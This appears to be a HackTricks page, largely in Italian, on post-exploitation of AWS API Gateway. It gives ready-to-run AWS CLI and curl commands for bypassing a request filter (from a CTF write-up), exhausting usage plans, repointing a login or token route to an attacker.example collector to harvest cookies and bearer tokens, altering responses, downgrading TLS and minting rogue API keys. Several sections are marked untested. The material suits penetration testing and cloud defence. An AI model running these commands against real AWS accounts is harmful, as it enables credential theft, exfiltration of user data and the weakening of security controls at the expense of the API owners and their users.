# AWS - API Gateway Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## API Gateway

For more information check:

{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}

### Access unexposed APIs

Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il service `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare una security group che permetta tutte le connessioni.\
Poi, dalla macchina EC2 potrai accedere all'endpoint e quindi chiamare il gateway API che prima non era esposto.

### Bypass Request body passthrough

This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).

Come indicato nella [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita il valore **`WHEN_NO_MATCH`**, quando controlla l'header **Content-Type** della richiesta, inoltra la richiesta al back end senza alcuna trasformazione.

Pertanto, nel CTF l'API Gateway aveva un integration template che era **preventing the flag from being exfiltrated** in una response quando veniva inviata una richiesta con `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
Tuttavia, inviare una richiesta con **`Content-type: text/json`** aggirerebbe quel filtro.

Infine, poiché l'API Gateway consentiva solo `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e usando l'header `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS

Nella sezione **Enumeration** puoi vedere come **ottenere il usage plan** delle chiavi. Se possiedi la chiave e è **limitata** a X utilizzi **al mese**, potresti **semplicemente usarla e causare un DoS**.

La **API Key** deve solo essere **inclusa** dentro un **HTTP header** chiamato **`x-api-key`**.

### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)

Se puoi aggiornare un'integrazione **HTTP API**, puoi **reindirizzare** una route sensibile (es. `/login`, `/token`, `/submit`) verso un endpoint HTTP controllato dall'attaccante e silenziosamente **raccogliere headers e bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secret inviati da job interni, ecc.).

Example workflow:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Note:

- Per **HTTP APIs**, le modifiche di solito hanno effetto immediatamente (a differenza delle **REST APIs** dove tipicamente è necessario creare un deployment).
- La possibilità di puntare a un URL arbitrario dipende dall'integration type/config; in alcuni casi potresti anche essere in grado di cambiare l'integration type quando lo patchi.

### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`

Un attacker con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere custom headers o response templates che leak informazioni sensibili o eseguono script dannosi**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.

> [!NOTE]
> Da testare

### `apigateway:UpdateStage`, `apigateway:CreateDeployment`

Un attacker con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare uno stage esistente di API Gateway per reindirizzare il traffico verso un altro stage o modificare le impostazioni di caching per ottenere accesso non autorizzato ai dati in cache**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Accesso non autorizzato a dati in cache, interruzione o intercettazione del traffico API.

> [!NOTE]
> Da testare

### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`

Un attacker con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la method response di un metodo esistente di API Gateway REST API per includere custom headers o response templates che leak informazioni sensibili o eseguono malicious scripts**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.

> [!NOTE]
> Da testare

### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`

Un attacker con le autorizzazioni `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni di API Gateway REST API per disabilitare il logging o cambiare la versione minima TLS, indebolendo potenzialmente la sicurezza dell'API**.
```bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accesso non autorizzato o esponendo informazioni sensibili.

> [!NOTE]
> Necessita di test

### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`

Un attaccante con i permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove API keys, associarle a usage plans e poi utilizzare queste chiavi per ottenere accesso non autorizzato alle API**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**Impatto potenziale**: Accesso non autorizzato alle risorse API, elusione dei controlli di sicurezza.

> [!NOTE]
> Necessita di test

{{#include ../../../../banners/hacktricks-training.md}}
